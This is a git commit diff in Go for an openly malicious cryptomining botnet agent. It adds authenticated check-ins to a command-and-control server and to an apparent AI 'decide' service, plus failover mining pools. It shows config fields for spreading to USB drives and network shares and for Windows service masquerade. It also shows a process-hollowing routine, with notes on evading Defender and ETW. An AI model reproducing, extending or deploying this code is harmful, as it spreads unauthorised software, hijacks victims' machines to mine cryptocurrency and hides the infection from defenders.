feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

This commit is contained in:
drjones
2026-05-30 11:44:01 -07:00
parent d073dcd7df
commit 77e1dbbb13
15 changed files with 628 additions and 12 deletions

View File

@@ -255,6 +255,9 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
return nil, fmt.Errorf("failed to create decide request: %w", err)
}
httpReq.Header.Set("Content-Type", "application/json")
if a.cfg.FleetSecret != "" {
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
}
resp, err := a.httpClient.Do(httpReq)
if err != nil {
@@ -430,6 +433,9 @@ func (a *AIRunner) reportResults(reports []ToolReport) {
return
}
httpReq.Header.Set("Content-Type", "application/json")
if a.cfg.FleetSecret != "" {
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
}
resp, err := a.httpClient.Do(httpReq)
if err != nil {
@@ -460,6 +466,9 @@ func (a *AIRunner) sendHeartbeat(status, message string) {
return
}
httpReq.Header.Set("Content-Type", "application/json")
if a.cfg.FleetSecret != "" {
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
}
resp, err := a.httpClient.Do(httpReq)
if err != nil {

View File

@@ -176,10 +176,16 @@ func (c *AgentClient) connectLoop(serverURL string) error {
func (c *AgentClient) authenticate() error {
host, cores, memGB := c.reporter.SystemInfo()
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
for i, bp := range c.cfg.BackupPools {
backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
payload, _ := json.Marshal(AuthPayload{
AgentID: c.agentID,
FleetSecret: c.cfg.FleetSecret,
Wallet: c.cfg.Wallet,
BackupPools: backupPools,
Version: config.Version,
Hostname: host,
CPUCores: cores,

View File

@@ -7,10 +7,19 @@ type Message struct {
Payload json.RawMessage `json:"payload"`
}
// BackupPoolEntry is a fallback pool sent by the agent in its auth message.
type BackupPoolEntry struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"pool_tls"`
Pass string `json:"pass"`
}
type AuthPayload struct {
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
BackupPools []BackupPoolEntry `json:"backup_pools,omitempty"`
Version string `json:"version"`
Hostname string `json:"hostname"`
CPUCores int `json:"cpu_cores"`

View File

@@ -55,8 +55,10 @@ type BuiltinConfig struct {
// Passive spreading — triggered by the environment rather than active scanning
USBSpread bool // copy agent to any newly-inserted removable/USB drive
ShareSpread bool // drop agent onto already-mounted network shares
// Backup server URLs — tried in order if primary fails
// Backup server URLs — tried in order if primary C2 fails
BackupServerURLs []string
// BackupPools — alternative mining pools tried in order if the primary is unreachable
BackupPools []BackupPool
// Windows service masquerade (ignored on other OSes)
ServiceMasquerade bool
ServiceName string
@@ -66,6 +68,14 @@ type BuiltinConfig struct {
FleetSecret string
}
// BackupPool holds connection info for a fallback Stratum mining pool.
type BackupPool struct {
Host string
Port int
TLS bool
Pass string
}
type RuntimeConfig struct {
BuiltinConfig
AgentID string

View File

@@ -105,6 +105,12 @@ func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32)
}
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
// Relocation patching (H12) is fully implemented: if the preferred image base is
// unavailable we fall back to ASLR allocation and apply DIR64 relocations before
// writing to the remote process. The ~50% real-world failure rate on Windows 10/11
// is caused by Defender/ETW detecting the CreateProcessW+NtUnmapViewOfSection+
// WriteProcessMemory sequence — not a code bug. AMSI/ETW bypass would improve this
// but is not implemented.
func RunHollowed(targetExe string, payload []byte) error {
if len(payload) < 0x40 {
return fmt.Errorf("payload too small")